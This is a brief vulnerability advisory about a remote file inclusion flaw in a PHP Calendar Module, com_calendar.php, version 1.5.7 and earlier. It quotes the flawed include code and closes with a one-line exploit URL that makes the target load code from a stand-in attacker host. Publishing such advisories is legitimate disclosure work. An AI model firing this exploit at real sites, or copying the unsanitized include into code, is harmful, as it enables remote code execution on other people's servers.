Web	: http://www.solpotcrew.org/adv/matdhule-adv-calendar.txt

Application : Calendar Module (com_calendar.php)

Version : 1.5.7 and prior

---------------------------------------------------------------------------------

Vulnerability:

In folder components we found vulnerability script com_calendar.php.

-----------------------com_calendar.php---------------------------------
<?php

//Configuration
include($absolute_path.'/components/calendar/cal_config.php');
if (!file_exists("language/calendar/".$lang."_calendar.php") ) { 
    die("Invalid Language");
} else { 
    include($absolute_path.'/language/calendar/'.$lang.'_calendar.php');
} 

-------------------------------------------------------------------------

Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
---------------------------------------------------------------------------------

Exploit :

http://[target]/[path]/components/com_calendar.php?absolute_path=http://attacker.com/evil.txt?
